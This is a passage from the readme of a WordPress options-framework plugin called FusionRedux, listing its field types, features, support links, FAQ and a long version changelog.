own theme? Then output a custom admin folder that you can place in a theme or plugin. Oh and did we mention it's free? Try it today at: [**http://build.fusionreduxframework.com/**](http://build.fusionreduxframework.com/) = Docs & Support = We have extremely extensive docs. Please visit [http://docs.fusionreduxframework.com/](http://docs.fusionreduxframework.com/) If that doesn’t solve your concern, you should search [the issue tracker on Github](https://github.com/fusionreduxframework/fusionredux-framework/issues). If you can't locate any topics that pertain to your particular issue, [post a new issue](https://github.com/fusionreduxframework/fusionredux-framework/issues/new) for it. Before you submit an issue, please read [our contributing requirements](https://github.com/fusionredux-framework/fusionredux-framework/blob/master/CONTRIBUTING.md). We build off of the dev version and push to WordPress.org when all is confirmed stable and ready for release. = FusionRedux Framework Needs Your Support = It is hard to continue development and support for this free plugin without contributions from users like you. If you enjoy using FusionRedux Framework, and find it useful, please consider [making a donation](https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHWUPKHKPW). Your donation will help encourage and support the plugin's continued development and better user support. = Fields Types = * Background * Border * Button Set * Checkbox / Multi-Check * Color (WordPress Native) * Color Gradient * Color RGBA * Date * Dimensions (Height/Width) * Divide (Divider) * Editor (WordPress Native) * Gallery (WordPress Native) * Image Select (Patterns/Presets) * Import/Export * Info (Header/Notice) * Link Color * Media (WordPress Native) * Multi-Text * Password * Radio (w/ WordPress Data) * Raw (HTML/PHP/MarkDown) * Section (Indent and Group Fields) * Select (Select/Multi-Select w/ Select3 & WordPress Data) * Select Image * Slider (Drag a Handle) * Slides (Multiple Images, Titles, and Descriptions) * Sortable (Drag/Drop Checkbox/Input Fields) * Sorter (Drag/Drop Manager - Works great for content blocks) * Spacing (Margin/Padding/Absolute) * Spinner * Switch * Text * Textarea * Typography * The most advanced typography module complete with preview, Google fonts, and auto-css output! = Additional Features = * Field Validation * MANY translations. (See below) * Full value escaping. * Required - Link visibility from parent fields. Set this to affect the visibility of the field on the parent's value. Fully nested with multiple required parents possible. * Output CSS Automatically - FusionRedux generates CSS and the appropriate Google Fonts stylesheets for you on select fields. You need only specify the CSS selector to apply the CSS to (limited to certain fields). * Compiler integration! A custom hook runs when any fields with the argument `compile => true` are changed. * Oh, and did we mention a fully integrated Google Webfonts setup that will make you so happy you'll want to cry? = Translators & Non-English Speakers = We need your help to translate FusionRedux into your language! FusionRedux is part of the WP-Translations.org team. To help us translate FusionRedux create a few account here: https://www.transifex.com/organization/wp-translations. Once you're in, you can head over to the FusionRedux sub-project and translate away. Thank you for your assistance. = Get Involved = FusionRedux is an ever-changing, living system. Want to stay up to date or contribute? Subscribe to one of our mailing lists or join us on [Facebook](https://facebook.com/fusionreduxframework) or [Twitter](https://twitter.com/fusionreduxframework) or [Github](https://github.com/FusionReduxFramework/FusionReduxFramework)! NOTE: FusionRedux is not intended to be used on its own. It requires a config file provided by a third-party theme or plugin developer to actual do anything cool! == Installation == = For Complete Documentation and Examples = Visit: [http://docs.fusionreduxframework.com/](http://docs.fusionreduxframework.com/) == Frequently Asked Questions == = Why doesn't this plugin do anything? = FusionRedux is an options framework... in other words, it's not designed to do anything on its own! You can however activate a demo mode to see how it works. = How can I learn more about FusionRedux? = Visit our website at [http://fusionreduxframework.com/](http://fusionreduxframework.com/) = You don't have much content in this FAQ section = That's because the real FAQ section is on our site! Please visit [http://docs.fusionreduxframework.com/faq/](http://docs.fusionreduxframework.com/faq/) == Screenshots == 1. This is the demo mode of FusionRedux Framework. Activate it and you will find a fully-functional admin panel that you can play with. On the Plugins page, beneath the description and an activated FusionRedux Framework, you will find a Demo Mode link. Click that link to activate or deactivate the sample-config file FusionRedux ships with. Don't take our word for it, check out our online demo and try FusionRedux without installing a thing! [**http://demo.fusionreduxframework.com/wp-admin/**](http://demo.fusionreduxframework.com/wp-admin/) == Changelog == ## 3.5.9 * Fixed: Wordpress 4.4.1 related issues. * Fixed: #2794 - User contributed code from #2716 did not contain isset and caused an index error. * Modified: Added tons of wp_remote_get handlings to stop bringing down site if FusionRedux is down. * Modified: When some items appear or not. Making devs lives easier. ;) * Updated: parsedown.php vendor code, to deal. with PHP 7.0 errors. * Fixed: #2774 - border fields set to 0 would disappear after saving. * Modified: Post/page settings on the media gallery window hidden for gallery field, since they are not applicable to FusionRedux. * Added: #2728 - Filter for hints HTML. 'fusionredux/hints/html'. Thanks, @nyordanov. * Fixed: #2716 - Enqueue jquery sortable when select field is set to sortable. Thanks, @josh-rathke. * Fixed: #2726 - FusionRedux fixes for WordPress 4.4. * Fixed: #2713 - Alerts wouldn't disappear. * Fixed: #2726 - WP 4.4 breaking template.php include, because the core WP guys thought it would be hilarious to break everyone else's stuff. * Fixed: Specifying 'user' in a field's data argument would produce WordPress depreciation errors. * Fixed: Reflective XSS security fix. Thanks to Kacper Szurek for the information. * Modified: #2685 - Rejoined http strings to prevent errors in theme check. Trade off, INFO notices will appear. @Otto says this is ok. * Fixed: #2684 - Sorter not displaying (or saving) WordPress data when using the data argument. * Added: #2673 - WP_CLI check before welcome page redirect. * Fixed: #2677 - tinymce javascript errors when wp editor is disabled. * Modified: While in dev_mode, noticies will appear if FusionRedux sample data in share_icons and admin_bar_links arguments is not changed. This became necessary because devs are not changing this data and theme ends users are coming to us for theme support. * Modified: FusionRedux links to be // instead of http:// or https:// to ensure portability for secure sites. * Fixed: #2665 - For those who must have empty dirs in the extensions dir. No more errors. * Added: #2660 - Added 'user'/'users' data type to wordpress data arg. Thanks @golchha21. * Fixed: #2652 - load_plugin_textdomain using depreciated argument. * Fixed: Customizer preview callback working again. * Fixed: Issue with added plugin textdomain support. ## 3.5.8 * Fixed: Customizer preview callback working again. * Fixed: last_tab argument not working. * Fixed: #2637 - color picker clear. * Fixed: #2633. * Fixed: #2624 - Border field saving/output 0px when no default set. Now accepts no default and outputs no CSS for blank values. * Fixed: color_rgba no long outputs CSS with empty color values. * Fixed: #2612 - pseudo classes not appending to multiple selectors in link_color output. * Modified: The mass data escaping of FusionRedux Core output. Part I. * Fixed: #2609 - Section not folding correctly with class argument specified. * Fixed: #2607 - button_set required scalar check for array returned by terms in the data arg. Thanks @Enchiridion. * Fixed: Fixing more inconsistencies with wp_filesystem dirlist. How about some proper documentation, Otto? * Fixed: #2582: Added extra check for get_terms to avoid error. * Fixed Filesystem proxy dirlist triggering file permission errors on empty array. * Fixed: #2571 - Sorter adding extra disable column on new entries if 'disabled' is lowercase. * Updated Fields css for dev_mode off. * Updated: Updated container.tpl version. * Fixed: #2570 - multi-text field CSS bleeding over into WP. ## 3.5.7 * Fixed Customizer customizer_only and customizer section overrides. Also global customizer => false was not working. * Added Security suggestions posed in #2543 by Julio Potier from SecuPress. * Fixed: 'dirlist' in filesystem proxy returning permission error on empty dirs. * Added setOption and getOption to FusionRedux API. * Added 'hide_save' argument. * Added: 'readonly' argument for textarea. * Fixed: #2545 - CSS validator error output misconfigured. * Fixed: ACE adding escape slashes to quotes via CSS validation, causing improper error message. * Added: `ajax_save` arg for fields. Setting to false will reload the options panel when the set option has changed. * Fixed: #2532 - Spinner field arrow spacing off when dev_mode set to false due to missing `!important` CSS suffix. * Added: `autocomplete` arg to text field. This is FALSE by default. * Fixed: Color RGBA field missing name_suffix. Will now work in repeater extension. ## 3.5.6.1 * Fixed: Index error regarding icon argument. ## 3.5.6 * Fixed Customizer WP 4.3 final fixes. * Fixed #2500 - Conflict with outdated select3 in JW Player plugin. * Modified: icon_type no longer needed for section icons. Now detects if URLs are provided for images. * Fixed: Various customizer fixes. HTML in the customizer title. * Modified: Media URL now is 95% wide. * Modified: Select3 now 100% width instead of just resolve (that doesn't always work). * Modified: Field enqueue method to allow for more flexibility. * Added: Support for Airplane Mode plugin (https://github.com/norcross/airplane-mode) by @norcross. Thanks @chriscct7 #2463 * Fixed: Undefined index in theme-check enhancements. Thanks @winwinwebdesign! * Removed: SASS compiler & code. Note needed. * Fixed: Color transparency live-update for Customizer for color, background, and color gradient fields. * Fixed: Undefined index when removing a section. * Fixed: Typography bug onload always saying settings have changed. * Modified: Added minified customizer JS. * Fixed: FusionRedux CUSTOMIZER! YEA! * Fixed: Small echo in FusionRedux API = 3.5.5.1 = * Fixed: Sigh, PHP 5.2 issues. = 3.5.5 = * Fixed: Date-time fixes with CSS overloading and positioning. * Added: Lite support for https://wordpress.org/plugins/plugin-dependencies/ * Modified: CDN to be a more bulletproof solution (http://jsdelivr.net). * Modified: CDN alerts to be more clear, and have proper links. * Fixed: Bad code in raw field hosing up the entire panel. * Modified: #2436 - Validation check for any validation type ending in 'not_empty' now recognized. * Fixed: Undefined index for undeclared variable in Theme-Check checks. * Fixed: Annoying FusionRedux Theme-Check notices. * Fixed: How some functions were called. * Fixed: Theme-Check baby! Everything working as it should with extra theme-check hints to prepare your theme for submission! * Fixed: Better .org hinting for theme submission. * Modified: `forced_dev_mode_off` argument that will ensure dev_mode is ALWAYS off. PLEASE do not ship with this enabled. We will NOT provide any support for any instance that has this argument enabled. Disable and test prior to posting on our issue tracker. * Added: `customizer_only` as a global arg that disables all of FusionRedux except for the customizer, in preparation for our customizer integration. * Modified: Dissmissable FusionRedux Admin notices now use the WP 4.2 dismiss JS and Ajax. Pretty. * Modified: Admin notice code is now it's own isolated class inside core. * Modified: Use DB for admin notice, not flat-files. Boo. * Modified: Sample configs not to cause errors if multiple users use the same function name. * Fixed: CDN internationalization class. * Modified: Parsedown so as not to throw a shortcode error that didn't actually exist. * Fixed: #2446 - Non google font choice not saving in certain instances. * Fixed: Added additional check in fusionredux.js to stop errors with panels containing multiple raw fields. * Fixed: Hopefully, the issue of settings not saving on first install when using the FusionRedux API. * Fixed: Set use_cdn argument to true, by default. * Fixed #2437 - undefined value set to blank line height. * Fixed: #2429 - Required evaluator 'contains' not working properly with multi_check * Fixed: #2426 - Section field not indenting. * Fixed: Divider field not rendering properly. * Added: `fieldset_class` argument for fields. Thanks @Enchiridion. * Added: Option to set checkbox label. Thanks @Enchiridion. * Added: javascript .trigger('change') to switch, spinner, and image_select. Thanks @Enchiridion. * Modified: Ajax change output of error and notice via hooks. * Fixed: #2414 - Bad ajax save due to mis-initialized variable. * Fixed: CSS in metabox fields all wanky. * Added: 'reload_on_change' arg for fields, to force page reload after setting change. * Fixed: #2377 - Replaced mysql_gets_server_info with $wpdb. * Modified: Templates to properly excape values. * Fixed: Import/Export to properly be full-width and use lazy-load JS. * Modified: CSS for sections to bound to the section, not all of FusionRedux. * Fixed: #2368 - Options panel layout offset. * Fixed: #2369 - validate_callback not working for color, color_gradient, and date. * Fixed: #2355 - Space missing in switch class arg. * Fixed: Fixed all fields without leading space in class arg. * Modified: Restrict table modification to fusionredux-container. * Fixed: Container overflow for pre's. * Modified: FusionRedux API to include removeSection and removeField. * Added: Added before and after hooks to any panel template file. * Fixed: #2351 - WP_Error check added to admin blast remote get. * Modified: Moved styling for the divide field into it's own CSS file. * Modified: All WP Color Pickers to properly save the value before save. * Added: CSS Styles for the customizer. ;) * Modified: Panel is MUCH more responsive now. * Fixed: Small stylings for a few fields. * Fixed: Added extra qTip class. * Modified: Ajax save animation. Added fallback for pre 4.2 CSS. * Fixed: Small issue with FusionRedux info boxes and spacing. * Fixed: Small bug with the FusionRedux API where divide sections were causing errors. * Fixed: Small admin blast fix. * Modified: Qtip and Spectrum vendor libraries restored to local. * Fixed: Admin notice loading on front end. * Modified: Callback actions run with do_action_ref_array now. * Added: show_options_object argument to enable or disable option object. * Added: Error suppressing to filesystem class to avoid notice errors when site goes down. * Fixed: Panels not rendering, again * Added: Vendor support plugin link to CDN fallback message. * Modified: Moved vendor libraries ACE, select3, qtip, and spectrum to CDN. * Removed: Local installs of above libraries. * Fixed: Option panel not rendering due to experimental code. * Fixed: How sorter works with data * Modified: How the data arg is stored in FusionRedux. * Removed: sysinfo.php. No longer needed in lieu of our support URL feature. * Removed: debug.php. Moved to options_object extension. * Modified: #2274 - PHP Unit test compatibility. Thanks @daithi-coombes. * Modified: #2144 - Optional class argument per image. Thanks @paulthecoder. * Fixed: #2278 - More W3 Total Cache hacks. = 3.5.4.3 = * Fixed: #2258 - welcome redirect error with embedding plugin scenarios. * Fixed: FusionRedux plugin load order when activating plugins. * Fixed: #2271 - stuck redirect on godaddy (seriously, get a real host, people) servers. * Fixed: #2216 - Reset section not always working within FF. = 3.5.4 = * Modified: update_notice arg only truly shows up if dev_mode is on. * Added: Tooltip to developer mode badge, for informational purposes. * Modified: Added css_layout ext to default value filter, to avoid errors. * Fixed: #2239 - Various extensions didn't support default values for default arg. Filtered out offending extensions. = 3.5.3.1 = * Fixed: WP.org ONLY SVN mixup. = 3.5.3 = * Fixed: #2228 - Submenu items still visible if permissions not allowed. * Fixed: Import/Export showing up in customizer. * Modified: Admin-fresh theme to match new WordPress 4.2 * Modified: FusionRedux widget now has a proper ID. Thanks @corradomatt! * Modified: Added text-shadow to submenu items to give a stronger "pop" * Modified: Page_slug now dynamically generated if not specified. * Modified: Admin blast message pinging server on each load after three day expiration. Possible slow down of the overall panel loading time. * Fixed: #2221 - Background field media not enqueueing when used with no other media based fields. * Fixed: #2214: Bad path for import/export enqueue. * Release: Wp.org release. * Fixed: #2214 - Import/export field contained bad enqueue path. * Modified: If running localhost or WP_DEBUG is set to true, FusionRedux dev_mode is forced to true. * Modified: Page_slug now dynamically generated if not specified. = 3.5.1 = * Modified: FusionRedux News dashboard widget appears only when dev_mode is true or in a local host environment. * Fixed #2127 - Elusive icons not working in footer as before. * Fixed Issue where Status tab not showing extension versions properly. * Fixed Issue in support URL not passing data correctly. * Fixed Support URLs now work even if max_input_vars is way low in PHP 5.3+ * Fixed #2197 - Import/export not loading proper for those who have opted to install Wordpress in ways it was never intended. * Fixed: 'Generate Support URL' feature kicking back error. * Fixed Sortable checkbox labels not displaying properly. * Fixed Sortable textbox not displaying default value as placeholder. * Updated: sample-config with accurate example for both sortable modes. * Fixed #2181 - Fixed issue with Ajax Save when PHP 5.3 Magic Quotes were disabled. * Fixed: #2181 - Lingering issue with Ajax Save and PHP Magic Quotes. = 3.5.0 = * Fixed: #2181 - Issue with PHP < 5.4 and the Ace Editor field. Oy. * Fixed: #2163 - Undefined error in JS. * Fixed: #2176 - Infinite loop in the customizer for live preview of themes. * Fixed: Support page now works. * Fixed: Fix for MySQL deprecated functions in php 5.5+. * Added: Dynamic admin messages (aka Newsflash). Dismissable admin messages announcing breaking FusionRedux news. Messages will not appear for users when dev_mode is set to `false`. However, messages remain active on localhosts, so devs may benefit. * Fixed: #2155 - Fixed import with ajax_save. * Fixed: Changelog now uses raw field parsedown if present. * Added: FusionRedux Framework News Widget on the WP Dashboard. * Fixed: #2156: `label` argument not recognized when using sortable as textbox. * Fixed: #2140 Another PHP 5.2 issue with ajax_save. * Modified: Opt groups for select field now working in customizer even if not supported. * Added: `full_width` arg now makes ANY field full-width. :) * Fixed: #2133 - Ajax save adding extra backspashes in PHP 5.2 only (They didn't use array map properly). * Fixed: Customizer wasn't working. Thanks @sgssandhu! * Fixed: #2125 - Compiler not firing on first save, when using ajax_save. * Fixed: #2118 - Typography JS error. * Fixed: Odd typography bug no one has reported. * Modified: Sticky header and footer to remain within the fusionredux-main container. * Fixed #2097 - Slash fix for ajax_save that was previously believed to be an isolated issue. Now applied on all ajax saves. * Fixed: #2086 - color_rgba improperly functioning when transparent mode set to false. * Fixed Import/Export bug where it wasn't running. * Modified Locations of the core extensions directory as well as grunt configuration. * Fixed #2047 - Validation will now accept 0 as a value to be tested. Thanks @Ninos! * Added url_slug validation with option flush_permalinks! * Fixed Issue where the remove of background field was always showing an empty preview box. * Modified Turned ajax_save on by default for additional bug reports. ;) * Modified Added some margin above validation errors/warnings so they look better. * Modified Removed previous element border for any section so it looks better. * Fixed #2081 - Section field hiding any field after. Weird. * Added #2047 - `output_transparent` argument to output the blank color feature as 'transparent'. * Fixed #2080 - missing 'rem' unit and inability to process float values. Thanks to @HELWATANY for the fixes! * Fixed #2043 - misaligned images in image_select field. * Added: #2064 - Merge argument for image_select. Thanks @Ninos * Modified: Import/Export is now an extensiona and decoupled from the core. * Fixed: Spinner had a nasty number bug, now resolved. * Fixed: #2076 - RTL bug with old ID's. Thanks @mahfoozroy. * Fixed: #2072 - Ajax_save editor type bug fix. * Fixed: #2058 - Incorrect path in include statement for sysinfo.php * Modified: Templates now have versioning with a warning (dev_mode only) if they are outdated from the core templates. * Modified: Ajax saving now has overlay during save to avoid confusion for users. * Modified: Template files even more for simplicity and ease. * Modified: Saving. FusionRedux now has the ajax_save argument if you want it! * Modified: Validation warnings now work. * Fixed: Changed set_transient function to public to avoid errors in new templating code. * Modified: Entire panel template is now decoupled from the theme and implemented with many filters for easy customization. * Fixed: #1478 - Import/export failing when two instances if FusionRedux in use. Thanks, @desaiuditd! * Fixed: Section field not indenting properly, if at all. * Added: #2031 - Proper CSS sanitization for compliancy with WP.org. * Fixed: #2027 - added isset() * Fixed: #2019 - Reset issues with PHP 5.2. Thanks a bunch, @Webcreations907! * Fixed: #2023: Issue with custom submenus in menu. * Fixed: #2025: Issue with select sorting. * Update: ACE Editor. Thanks @corradomatt. = 3.4.1 = * Fixed: Small filesystem option with bad filter key reference.. * Added: Small return if $section filter returned the section empty. = 3.4.0 = * Fixed: Reset section hook firing too early. * Modified: The FusionRedux Repeater field has landed! * Fixed: #1983 - color_rgba not outputting default values on first load (before save). * Fixed: Google font enqueues with opt_name to avoid collision with multiple FusionRedux instances. * Fixed: #1980 - JS errors with sorter & sortable. * Fixed: color_rgba field outputting incorrect information via output/compiler. * Fixed: #1979 - Goole fonts not properly loading in typography dropdown. * Fixed: Undefined index error on MU installs. * Removed: SASS compile of field CSS, for the time being. Compiler remains in core. * Improved: Panel load time, most notable when not in dev_mode. Better for your clients. :) * Updated: Elusive Font library. * Fixed: #1961 - color_rgba field defaulting to black on reset. * Fixed: #1941 - Datepicker opened off screen. * Fixed: #1756, #1957 - Slider issues. Thanks @FFIN! * Fixed: #1960 - Duplicate slide when clicking Add. Again, thanks to @FFIN for the fix. * Added: New filter: apply_filters 'fusionredux/validate/{opt_name}/before_validation' * Fixed: #1745 - Adding settings submenu to empty submenu now works. Many, many thanks to @No3x for cracking this one! * Fixed: #1955 - Undefined index rgba in output routine. * Modified: #1947 - Added display:none to TR tag under info field. * Replaced: #1951 - Replaced develop branch of scssphp to master branch due to PHP 5.2 incompatibililty. * Fixed: #1943 - Removed premature DIV close. * Fixed: #1945 - Media preview not rendering when default ID specified. * Modified: #1930 - reorder 'psedo-class of link_color field. Thanks @freddessaint * Modified: SASS compiler outputs to page by default. Faster. * Fixed: #1927 - Incorrect dir path to spectrum library in color_rgba field corrected. * Modified: color_rgba field now usees spectrum color picker. minicolors removed. Just...too buggy. * Modified: #1922 - Filesystem output function. * Fixed: Added PHP 5.2 support (ugh!) for SASS compiler. * Fixed: More SASS compiler tweaking. * Fixed: PHP errors when disabling SASS. * Fixed #1909 - malformed DIV class HTML in slider field. * Removed Argument for SASS compile file output location removed. Didn't work, too much trouble. * Fixed: #1904 - select_image field not displaying saved value on page reload. * Fixed: SASS compile under multi-instance outputting incorrect CSS file * Fixed: fusionredux-admin scss images converted to base64 * Added SASS compiler for admin CSS. * Added SASS to CSS for grunt compiler. * Added SASS compiler for fields. * Updated: select3 3.5.2 * Fixed: #1856 - Illegal offset string warnings in framework.php. Thanks @CGlingener. * Fixed: #1874 - Required operator 'contains' and 'not_contains' not working with select set to multi. * Fixed: #1829 - Required operator '=' and '!=' not working with select set to multi. * Fixed: #1870 - Border field doubling up on px in output/compiler. * Added: `hidden` argument for fields. * Added: `hidden` argument for sections. * Fixed: #1868 - Improper panel render when opening expanded, when `open_expanded` set to true. * Added: `hide_expand` argument, to hide the expand options button. * Fixed: #1865 - Sortable select not saving proper order. * Fixed: #1864 - Footer z-index CSS adjusted. * Fixed: #1848 - Import-export filed buttons not functioning properly. * Fixed: #1834 - Wordpress data dealing with IDs as array keys not rendering properly. * Fixed: #1830 - Font lists were added in quotes. Thanks @karimhossenbux. * Fixed: #1798 - Fixed lazy load JS to only load visible sections. Much more optimized. * Fixed: #1821 - Exo 2 font not working, issue with typography and escaping. * Added: #1803 - Optgroup support for select field. * Added: Decimal increments to spinner. = 3.3.9.4 = * Added: Customizer now supports PANEL! Yay 4.0. * Fixed: #1789 - Customizer now properly working again with WP 4.0. Odd bug. = 3.3.9.2 = * Fixed: #1670 - Fixed some extra themecheck and customizer issues. * Fixed: #1782 - Media field not showing files after upload? Hopefully this fixes it. = 3.3.9 = * Fixed: #1775 - Call to undefined function is_customize_preview() in pre WP 4.0. * Fixed: Issue where in some cases tracking still occuring after opt-out. * Modified: Documentation URL. * Fixed: #1742 - Sidebar subsections don't always expand. * Fixed: #1758 - Thanks @echo1consulting! * Added: 'hidden' to menu_type argument to allow for hidden menus until available. * Fixed: #1749 - Remove font-wight and font-style from css output when not in use. * Modified: Added the "fusionredux/options/{$this->args['opt_name']}/compiler/advanced" hook for more advanced compiling. * Added: Suggestions as per #1709. Thanks @echo1consulting. * Modified: Removed a cURL instance from the core and fixed the developer ad resizing. * Fixed: PHP 5.2 issues. *sigh* = 3.3.8.3 = * Added: #1593 - Great pull request by @JonasDoebertin. Now you can enqueue dynamic output to the login screen or admin backend. * Fixed: Customizer wasn't saving at all! That's been like 4 months. No one's reported it. Hmm. * Fixed: #1702 - Customizer only fields were being erased on panel save. * Fixed: Various Theme-Check errors with languages. * Added: Theme-Check class to help devs know what is what. * Fixed: The way we include files from include_once to require_once everywhere. * Modified: Language files to reflect new strings. * Modified: Formatted a bunch of old class files. * Added: Notice on the updates for non-devs to use the new dev_mode disabler plugin and notify their developer. ;) = 3.3.8 = * Modified: Updated potomo, thanks @shivapoudel. * Added: Grunt checktextdomain and made improvements. Thanks @shivapoudel. * Modified: #1685 - Specifying no default argument for image_select caused errors on reset. * Fixed: #1667 - Slides Upload button causing JS error. * Fixed: #1670 - Fix for Theme Check -> `add_setting() method needs to have a sanitization callback function passed.` * Fixed: #1661 - Fix for undefined index in some versions of PHP. Thanks @gianbalex! * Modified: #1658 - Improvements from @shivapoudel, including: * Removed makepot and used grunt-wp-i18n instead. * Added a jshintrc file * Added a `grunt addtextdomain` to correct any bad textdomains in the core. * Updated .gitignore for better readability * Updates to a few other files including package.json. * Updated language files. * Update codestyles/.editorconfig to reflect the project's standards. * Modified: #1653 - Better admin bar with external links: Admin bar menu priority, icon, and external links. Thanks @shivapoudel! * Added: #1651 - `library_filter` argument. Allows specification of what files to display in the media library. * Modified: #1651 - `mode` argument accepts either file type or mime type (but not both). * Fixed: #1650 - Toogle error with responsive CSS. * Fixed: #1643 - Slight border issue (2px) on sticky footer. * Fixed: #1642 - Added `font_family_clear` arg, enabling the clear option for font-family. * Fixed: #1638 - Spacing field not outputting when units values attached to default values. * Modified #1644 - `import_icon` argument now accepts wordpress dashicons * Fixed: #1634 - Double border for sections field. Thanks @AlexandruDoda * Modified: Changelog location to now Changelog.md. * Fixed: #1632 - Sortable with no defaults set revert to false (instead of options values). * Fixed: Labels for sortable in text mode updated to match framework. = 3.3.7 = * Added: #1586 - Class-level declaration for callbacks and validation. Thanks @echo1consulting. * Modified: Typography field now fully dynamic. * Modified: No longer require a google_api_key for the typography module. :) * Fixed: FTP credentials screen giving a "undefined submit_button function". Resolved. * Fixed: #1623 - Registered older noUISlider JS under a new name to avoid conflicts. * Modified: #1622 - Removed googlefonts.js dependency. * Modified: #1628 - Spacing and dimensions now only output 0 if the entry is a 0, not empty. Thanks @Webcreations907 * Modified: CSS for menu items when active (no hover). * Added: Visual feedback to left menu if active. = 3.3.6.8 = * Fixed: #1600 - ACE Editor bombing in PHP 5.2 environments. * Fixed: #1591 - Erroneous outputting of font-weight and font-style when no font-family selected. * Updated: #1569 - Improved submenu highlighting. * Added: #1487 - Added `get_default_value` function into the framework.php * Fixed: Framework URI errors when using child themes. Some restructuring. * Fixed: Framework URI errors when embedded in theme with Windows. * Added: image_size as an option for the data argument. Thanks @Gyroscopic! * Modified: How FusionRedux paths are run. Should cover all use cases now. Child themes can also embed FusionRedux properly now. Thanks @cfoellmann for the suggestions. Fix for issue #1566. * Modified: How we declare the uploads directory and URL. Using core WP functions now. * Modified: Now if a section is empty, but has subsections, that section will be "skipped" when clicked and the first subsection will then be shown. = 3.3.6 = * Fixed: #1560 - IE8 RGBA fallack * Modified: Language files. * Fixed: #1543 - Hint icon not changing when set in args. * Fixed: #1537 - Media field not accepting images with mode set to false. * Fixed: #1529 - ACE Editor conflict with Visual Composer. * Added: #1530 - Added argument to specify admin bar icon, `admin_bar_icon`. Thanks Ninos! * Fixed: #1532 - Media field not accepting any mime type when `'mode' => false`. * Fixed: #1520 - Checkbox field not displaying Wordpress data when using data argument. * Fixed: #1516 - Invalid index and foreach when using compiler and async_typography. * Fixed: #1509 - Sorter adding unnecessary bits on some items. * Fixed: #1514 - Customizer and multisite not getting on properly. * Fixed: #1512 - Slides 'Upload' button not showing or saving selected image. * Fixed: Checkboxes with required were working in reverse. * Fixed: ASync Typography now works! No more flashing fonts. * Fixed: #1489 - Color picker UI lining up improperly. * Fixed: #1497 - dev_mode spinner issue. * Fixed: Spelling error in tracking dialog. * Modified: Updated ace_editor. * Modified: Many MANY fields for the group field. * Fixed: Some CSS bugs. * Fixed: #1481 - Custom fonts loading in google font CSS. * Fixed: #1485 - Customizer 'invalid argument' error. Thanks @rnlmedia. * Fixed: #1472 - font style not displaying saved valie with no font-family argument set. * Fixed: #1471 - raw field and required not playing nice together. = 3.3.5 = * Added: An annoying notice at the top so our devs don't ship with dev_mode on. ;) = 3.3.4.9 = * Fixed: #1462 - Google fonts not loading in font drop down. = 3.3.4.8 = * Fixed: More WP FileSystem tanking. Did PHP fallback before FTP. Works 99.9% of the time without credentials. = 3.3.4.7 = * Fixed: Incorrect folder CHMOD in filesystem class. = 3.3.4.6 = * Fixed: #1454 - Chmod permissions for fusionredux folder. = 3.3.4.5 = * Fixed: #1451 - Googlefonts not loading due to failing copy function. = 3.3.4.4 = * Fixed: #1450 - Saves witch values with no `on` or `off` args make the core unhappy. = 3.3.4.3 = * Fixed: #1444, again, due to filesystem growing pains. * Fixed: #1449 - Restoring `options` argument over a lousy attempt to fix placeholder. = 3.3.4.2 = * Fixed: More file permission issues. = 3.3.4.1 = * Fixed: Font debug was left from last commit. Sorry all. = 3.3.4 = * Fixed: Issues with file writing. Basically many users don't install WordPress with all the permissions correct. So... Had to move it back to ~/uploads/. Sorry Otto, that's just how it is. * Fixed: #1444 - output of typography all_styles when font_style UI was hidden. * Fixed: #1440 - flaw in new cleanFilePath logic. * Fixed: #1432 - Theme check failing when double-slashes existed in get_template_directory() return. * Removed: curlRead from helper class. * Fixed: #1426 - menu_name not appearing on front end admin bar. * Added: #1427 - button_set added to customizer UI. Thanks @wpexplorer. * Fixed: #1429 - ACE Editor erroring with no default value set. * Fixed: wp_filesystem now initialized with credentials in an effort to combat the tmp file issue. * Modified: Code purification. * Modified: How section tabs work. Isolated within the fusionredux-container class. * Modified: #1412 - Redesigned text label, placeholder fix. = 3.3.3 = * Fixed: #1408 & #1357 - Typography subsets losing value after multiple saves on other panels. * Fixed: #1403 - unit value no longer prints after empty typography values * Modified: Typography: Backup font no longer appends to `font-family` variable. Please use the `backup-font` variable to specify backup fonts. This does not apply to output/compiler strings. * Fixed: #1403 - Backup font not appearing in font-family variable. * Modified: Customizer now supports section and field `permissions` argument. * Fixed: #1399 - Customizer respects `page_permissions` argument. * Fixed: #1400 - output/compiler string incomplete using multiple selectors. * Fixed: #1396 - Custom fonts cutting off multiple families in selector, after save. * Fixed: Typography attempting to queue up non google fonts on backend. * Added: #1395 - Display of child theme status in sysinfo, thanks @SiR-DanieL. * Fixed: #1387 - Page jump when clicking "Options Object". Thanks @rrikesh. * Added: #1392 - Filters to change the following localized strings: fusionredux/{opt_name}/localize/reset fusionredux/{opt_name}/localize/reset_all fusionredux/{opt_name}/localize/save_pending fusionredux/{opt_name}/localize/preset * Fixed: #1376 - checkbox.min.js missing. * Fixed: Static variable changes for instances and basic comment cleanup * Fixed: #1361 - Raw field not hiding with required. * Fixed: Datepicker not formatting properly. Still needs some work. = 3.3.2 = * Fixed: #1357 - Preview not rendering font on page load. * Fixed: #1356 - Color fields and transparency not syncing due to new JS. * Fixed: #1354 - Add class check for W3_ObjectCache. * Fixed: #1341 - JS not initializing properly in import_export. * Fixed: #1339 - Typography would lose Font Weight and Style. value was named val in the HTML, so it would be destroyed on the next save if not initialized. * Fixed: #1226 - W3 Total Cache was affecting validation and compiler hooks. * Fixed: Menu errors weren't showing properly for non-subsectioned items. * Fixed: #1341 - Import/Export buttons not functioning. Also fixed sortable somehow. * Fixed: Slides not initializing with the last fix. * Fixed: Slides field was not properly initialized for the media elements. Fixed. = 3.3.1 = * Fixed: #1337 - `fusionredux` JS dependency loading issue. Many thanks @tpaksu * Modified: Drastically changed the way JavaScript is used in the panel. Forced as-needed initialization of fields. Thus reducing dramatically the overall load time of the panel. The effects have been seen up to 300% speed improvement. The only time a field will be initialized is if it's visible, thus reducing the processing needed in DOM overall. * Fixed: #1336 - fixed default font in preview. * Fixed: #1334 - Typography not un-saving italics. * Added: #1332 - New validation: numeric_not_empty. * Fixed: #1330 - Required not working on all fields. = 3.3.0 = * Fixed: #1322 - Sections not folding with required argument. * Fixed: #1270 - Editor field compiler hook not firing in visual mode. * Fixed: select3 dependency in select_image, and other fields. * Fixed: Filter out `@eaDir` directories in extensions folder. * Fixed: Fixed the image_select presets to work again. Also now will function even if import/export is disabled. * Fixed: Minor tweaks for metabox update. * Fixed: #1297 - Missing space in image_select class. * Fixed: Slider field tweaked for metaboxes. * Fixed: #1291 - Change of font-family would not trigger preview, or show in open preview. * Fixed: #1289 - Typography not retaining size/height/spacing/word/letter spacing settings. * Fixed: #1288 - Background color-picker dependency missing. 